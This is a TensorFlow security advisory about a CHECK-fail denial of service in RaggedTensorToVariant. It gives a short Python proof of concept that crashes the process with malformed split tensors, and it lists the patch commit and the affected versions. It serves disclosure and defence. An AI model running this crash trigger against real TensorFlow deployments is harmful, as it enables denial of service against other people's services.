TensorFlow vulnerable to `CHECK` fail in `RaggedTensorToVariant`
### Impact
If `RaggedTensorToVariant` is given a `rt_nested_splits` list that contains tensors of ranks other than one, it results in a `CHECK` fail that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
batched_input = True
rt_nested_splits = tf.constant([0,32,64], shape=[3], dtype=tf.int64)
rt_dense_values = tf.constant([0,32,64], shape=[3], dtype=tf.int64)
tf.raw_ops.RaggedTensorToVariant(rt_nested_splits=rt_nested_splits, rt_dense_values=rt_dense_values, batched_input=batched_input)
```
### Patches
We have patched the issue in GitHub commit 88f93dfe691563baa4ae1e80ccde2d5c7a143821
https://github.com/tensorflow/tensorflow/commit/88f93dfe691563baa4ae1e80ccde2d5c7a143821.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.